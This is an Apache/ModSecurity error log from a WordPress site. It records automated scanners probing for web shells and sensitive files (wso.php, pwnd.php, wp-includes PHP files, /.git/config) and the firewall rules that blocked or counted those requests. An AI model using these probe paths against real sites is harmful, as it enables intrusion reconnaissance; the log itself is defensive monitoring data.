[Sat Dec 27 04:43:15.160082 2025] [:error] [pid 32278:tid 32288] [client 20.196.89.188:60320] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/brand.php"] [unique_id "aU7zY3-IfCN2Cy9GcchoaAAAAMg"]
[Sat Dec 27 04:43:16.773167 2025] [:error] [pid 32192:tid 32241] [client 20.196.89.188:60291] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/brand.php"] [unique_id "aU7zZC_q0VFe066lbk-tBwAAAFI"]
[Sat Dec 27 04:43:18.081394 2025] [:error] [pid 32193:tid 32265] [client 20.196.89.188:60058] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/brand.php"] [unique_id "aU7zZhgw0eCOc2qYqaIB4wAAAI8"]
[Sat Dec 27 04:43:19.135293 2025] [:error] [pid 32193:tid 32266] [client 20.196.89.188:59997] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/user.php"] [unique_id "aU7zZxgw0eCOc2qYqaIB7QAAAJA"]
[Sat Dec 27 04:43:21.656519 2025] [:error] [pid 32278:tid 32302] [client 20.196.89.188:60281] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/user.php"] [unique_id "aU7zaX-IfCN2Cy9GcchojwAAANY"]
[Sat Dec 27 04:43:23.618042 2025] [:error] [pid 32193:tid 32260] [client 20.196.89.188:59998] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/user.php"] [unique_id "aU7zaxgw0eCOc2qYqaICEgAAAIo"]
[Sat Dec 27 04:43:25.397383 2025] [:error] [pid 32278:tid 32297] [client 20.196.89.188:60225] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/user.php"] [unique_id "aU7zbX-IfCN2Cy9GcchonwAAANE"]
[Sat Dec 27 04:43:27.132403 2025] [:error] [pid 32278:tid 32304] [client 20.196.89.188:59971] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pwnd.php"] [unique_id "aU7zb3-IfCN2Cy9GcchoqgAAANg"]
[Sat Dec 27 04:43:28.457953 2025] [:error] [pid 32192:tid 32245] [client 20.196.89.188:60282] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pwnd.php"] [unique_id "aU7zcC_q0VFe066lbk-tGAAAAFY"]
[Sat Dec 27 04:43:29.125467 2025] [:error] [pid 32192:tid 32227] [client 20.196.89.188:61217] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pwnd.php"] [unique_id "aU7zcS_q0VFe066lbk-tHAAAAEQ"]
[Sat Dec 27 04:43:30.016069 2025] [:error] [pid 32191:tid 32200] [client 20.196.89.188:6768] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pwnd.php"] [unique_id "aU7zcrPNtMgrjVCHIdFukAAAAAU"]
[Sat Dec 27 04:43:30.909319 2025] [:error] [pid 32191:tid 32198] [client 20.196.89.188:60093] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aU7zcrPNtMgrjVCHIdFulAAAAAM"]
[Sat Dec 27 04:43:32.658564 2025] [:error] [pid 32278:tid 32285] [client 20.196.89.188:60071] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aU7zdH-IfCN2Cy9GcchowAAAAMU"]
[Sat Dec 27 04:43:33.232806 2025] [:error] [pid 32192:tid 32241] [client 20.196.89.188:60348] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aU7zdS_q0VFe066lbk-tLgAAAFI"]
[Sat Dec 27 04:43:34.403794 2025] [:error] [pid 32278:tid 32283] [client 20.196.89.188:60077] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aU7zdn-IfCN2Cy9GcchoxwAAAMM"]
[Sat Dec 27 04:43:36.048150 2025] [:error] [pid 32192:tid 32245] [client 20.196.89.188:59981] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin_250714170928.php"] [unique_id "aU7zeC_q0VFe066lbk-tQAAAAFY"]
[Sat Dec 27 04:43:37.534992 2025] [:error] [pid 32191:tid 32200] [client 20.196.89.188:60066] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin_250714170928.php"] [unique_id "aU7zebPNtMgrjVCHIdFupAAAAAU"]
[Sat Dec 27 04:43:39.718247 2025] [:error] [pid 32278:tid 32290] [client 20.196.89.188:60255] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin_250714170928.php"] [unique_id "aU7ze3-IfCN2Cy9Gccho2AAAAMo"]
[Sat Dec 27 04:43:42.455295 2025] [:error] [pid 32278:tid 32281] [client 20.196.89.188:60033] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin_250714170928.php"] [unique_id "aU7zfn-IfCN2Cy9Gccho3gAAAME"]
[Sat Dec 27 04:43:43.905770 2025] [:error] [pid 32193:tid 32266] [client 20.196.89.188:61211] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin_250714203832.php"] [unique_id "aU7zfxgw0eCOc2qYqaICSgAAAJA"]
[Sat Dec 27 04:43:44.280014 2025] [:error] [pid 32192:tid 32223] [client 20.196.89.188:60302] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin_250714203832.php"] [unique_id "aU7zgC_q0VFe066lbk-taQAAAEA"]
[Sat Dec 27 04:43:44.702336 2025] [:error] [pid 32191:tid 32210] [client 20.196.89.188:59994] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin_250714203832.php"] [unique_id "aU7zgLPNtMgrjVCHIdFuuAAAAA8"]
[Sat Dec 27 04:43:46.450975 2025] [:error] [pid 32191:tid 32212] [client 20.196.89.188:60253] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin_250714203832.php"] [unique_id "aU7zgrPNtMgrjVCHIdFuvQAAABE"]
[Sat Dec 27 04:43:47.672358 2025] [:error] [pid 32193:tid 32265] [client 20.196.89.188:60014] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links.php"] [unique_id "aU7zgxgw0eCOc2qYqaICUQAAAI8"]
[Sat Dec 27 04:43:48.734090 2025] [:error] [pid 32191:tid 32202] [client 20.196.89.188:61219] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links.php"] [unique_id "aU7zhLPNtMgrjVCHIdFuwgAAAAc"]
[Sat Dec 27 04:43:50.333645 2025] [:error] [pid 32193:tid 32251] [client 20.196.89.188:58911] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links.php"] [unique_id "aU7zhhgw0eCOc2qYqaICYAAAAIE"]
[Sat Dec 27 04:43:51.519374 2025] [:error] [pid 32191:tid 32211] [client 20.196.89.188:61243] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links.php"] [unique_id "aU7zh7PNtMgrjVCHIdFuzgAAABA"]
[Sat Dec 27 04:43:52.459843 2025] [:error] [pid 32278:tid 32285] [client 20.196.89.188:60005] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin-post.php"] [unique_id "aU7ziH-IfCN2Cy9Gccho9wAAAMU"]
[Sat Dec 27 04:43:54.913138 2025] [:error] [pid 32192:tid 32232] [client 20.196.89.188:59968] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin-post.php"] [unique_id "aU7zii_q0VFe066lbk-thQAAAEk"]
[Sat Dec 27 04:43:56.413949 2025] [:error] [pid 32278:tid 32295] [client 20.196.89.188:61184] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin-post.php"] [unique_id "aU7zjH-IfCN2Cy9GcchpBwAAAM8"]
[Sat Dec 27 04:43:59.061407 2025] [:error] [pid 32278:tid 32294] [client 20.196.89.188:60349] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin-post.php"] [unique_id "aU7zj3-IfCN2Cy9GcchpGQAAAM4"]
[Sat Dec 27 04:44:01.180258 2025] [:error] [pid 32278:tid 32292] [client 20.196.89.188:6751] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/widgets.php"] [unique_id "aU7zkX-IfCN2Cy9GcchpKQAAAMw"]
[Sat Dec 27 04:44:04.084390 2025] [:error] [pid 32278:tid 32281] [client 20.196.89.188:61218] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/widgets.php"] [unique_id "aU7zlH-IfCN2Cy9GcchpRAAAAME"]
[Sat Dec 27 04:44:05.552838 2025] [:error] [pid 32191:tid 32206] [client 20.196.89.188:6732] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/widgets.php"] [unique_id "aU7zlbPNtMgrjVCHIdFu_QAAAAs"]
[Sat Dec 27 04:44:06.948429 2025] [:error] [pid 32191:tid 32218] [client 20.196.89.188:59975] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/widgets.php"] [unique_id "aU7zlrPNtMgrjVCHIdFvBAAAABc"]
[Sat Dec 27 04:44:10.303981 2025] [proxy_fcgi:error] [pid 32278:tid 32300] [client 20.196.89.188:61196] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:44:10.474852 2025] [proxy_fcgi:error] [pid 32278:tid 32297] [client 20.196.89.188:61196] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:44:10.613725 2025] [proxy_fcgi:error] [pid 32278:tid 32295] [client 20.196.89.188:61196] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:44:10.752078 2025] [proxy_fcgi:error] [pid 32278:tid 32284] [client 20.196.89.188:61196] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:44:10.903774 2025] [proxy_fcgi:error] [pid 32278:tid 32289] [client 20.196.89.188:61196] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:44:11.082824 2025] [proxy_fcgi:error] [pid 32278:tid 32285] [client 20.196.89.188:61196] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:44:11.243084 2025] [proxy_fcgi:error] [pid 32278:tid 32302] [client 20.196.89.188:61196] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:44:11.392885 2025] [proxy_fcgi:error] [pid 32278:tid 32286] [client 20.196.89.188:61196] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:44:11.550206 2025] [proxy_fcgi:error] [pid 32278:tid 32291] [client 20.196.89.188:61196] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:56:41.272773 2025] [proxy_fcgi:error] [pid 32278:tid 32280] [client 20.196.91.24:15252] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:56:43.045635 2025] [:error] [pid 32278:tid 32295] [client 20.196.91.24:15252] [client 20.196.91.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aU72i3-IfCN2Cy9GcchxEAAAAM8"]
[Sat Dec 27 04:56:43.460311 2025] [proxy_fcgi:error] [pid 32191:tid 32216] [client 20.196.91.24:15185] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:56:43.878687 2025] [proxy_fcgi:error] [pid 32191:tid 32202] [client 20.196.91.24:15185] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:56:44.293137 2025] [:error] [pid 32191:tid 32218] [client 20.196.91.24:15185] [client 20.196.91.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aU72jLPNtMgrjVCHIdF0rQAAABc"]
[Sat Dec 27 04:56:44.705424 2025] [:error] [pid 32191:tid 32207] [client 20.196.91.24:15203] [client 20.196.91.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aU72jLPNtMgrjVCHIdF0rwAAAAw"]
[Sat Dec 27 04:56:44.990349 2025] [:error] [pid 32278:tid 32284] [client 20.196.91.24:15245] [client 20.196.91.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aU72jH-IfCN2Cy9GcchxEgAAAMQ"]
[Sat Dec 27 04:56:45.262312 2025] [:error] [pid 32193:tid 32252] [client 20.196.91.24:15168] [client 20.196.91.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aU72jRgw0eCOc2qYqaIJXgAAAII"]
[Sat Dec 27 04:56:45.579843 2025] [:error] [pid 32191:tid 32199] [client 20.196.91.24:15244] [client 20.196.91.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aU72jbPNtMgrjVCHIdF0sAAAAAQ"]
[Sat Dec 27 07:13:24.536394 2025] [:error] [pid 32191:tid 32199] [client 177.37.237.131:59230] [client 177.37.237.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.37.237.131, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aU8WlLPNtMgrjVCHIdGUzQAAAAQ"]
[Sat Dec 27 07:13:24.547050 2025] [proxy_fcgi:error] [pid 32191:tid 32199] [client 177.37.237.131:59230] AH01071: Got error 'Primary script unknown'
[Sun Dec 28 11:01:48.176151 2025] [:error] [pid 42378:tid 42393] [client 43.241.193.192:52345] [client 43.241.193.192] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.241.193.192, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aVCdnDgtcN-KHAjWrX_IGQAAAM0"]
[Sun Dec 28 11:01:48.187144 2025] [proxy_fcgi:error] [pid 42378:tid 42393] [client 43.241.193.192:52345] AH01071: Got error 'Primary script unknown'
[Sun Dec 28 11:17:30.628085 2025] [autoindex:error] [pid 42294:tid 42370] [client 159.89.181.56:53362] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Dec 28 19:35:52.596205 2025] [proxy_fcgi:error] [pid 42292:tid 42315] [client 172.86.91.124:56711] AH01071: Got error 'Primary script unknown'
[Sun Dec 28 23:38:30.116185 2025] [:error] [pid 43789:tid 43804] [client 146.235.18.147:52315] [client 146.235.18.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.235.18.147, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aVFO9ga-tUppni4CcCZhPgAAAQ0"]
[Sun Dec 28 23:38:30.125445 2025] [proxy_fcgi:error] [pid 43789:tid 43804] [client 146.235.18.147:52315] AH01071: Got error 'Primary script unknown'
[Sun Dec 28 23:38:30.495054 2025] [:error] [pid 29437:tid 29489] [client 146.235.18.147:52704] [client 146.235.18.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.235.18.147, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aVFO9hhDotAbVk6pZLf1iAAAAdc"]
[Sun Dec 28 23:38:30.499927 2025] [proxy_fcgi:error] [pid 29437:tid 29489] [client 146.235.18.147:52704] AH01071: Got error 'Primary script unknown'
[Sun Dec 28 23:38:31.577511 2025] [:error] [pid 42294:tid 42371] [client 146.235.18.147:52922] [client 146.235.18.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.235.18.147, incrementing brute counter"] [hostname "www.agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aVFO99TE5kYcYCOzl9HnYQAAAJU"]
[Sun Dec 28 23:38:31.582182 2025] [proxy_fcgi:error] [pid 42294:tid 42371] [client 146.235.18.147:52922] AH01071: Got error 'Primary script unknown'
[Sun Dec 28 23:38:31.941457 2025] [:error] [pid 42294:tid 42353] [client 146.235.18.147:53245] [client 146.235.18.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.235.18.147, incrementing brute counter"] [hostname "www.agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aVFO99TE5kYcYCOzl9HnZAAAAIM"], referer: https://www.bing.com/
[Sun Dec 28 23:38:31.946219 2025] [proxy_fcgi:error] [pid 42294:tid 42353] [client 146.235.18.147:53245] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Mon Dec 29 04:24:29.143100 2025] [autoindex:error] [pid 37389:tid 37460] [client 167.99.61.218:56312] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Dec 29 19:03:49.149219 2025] [:error] [pid 11451:tid 11474] [client 159.65.188.29:42500] [client 159.65.188.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aVJgFZDUmxySx0Vynm8RMAAAABM"]
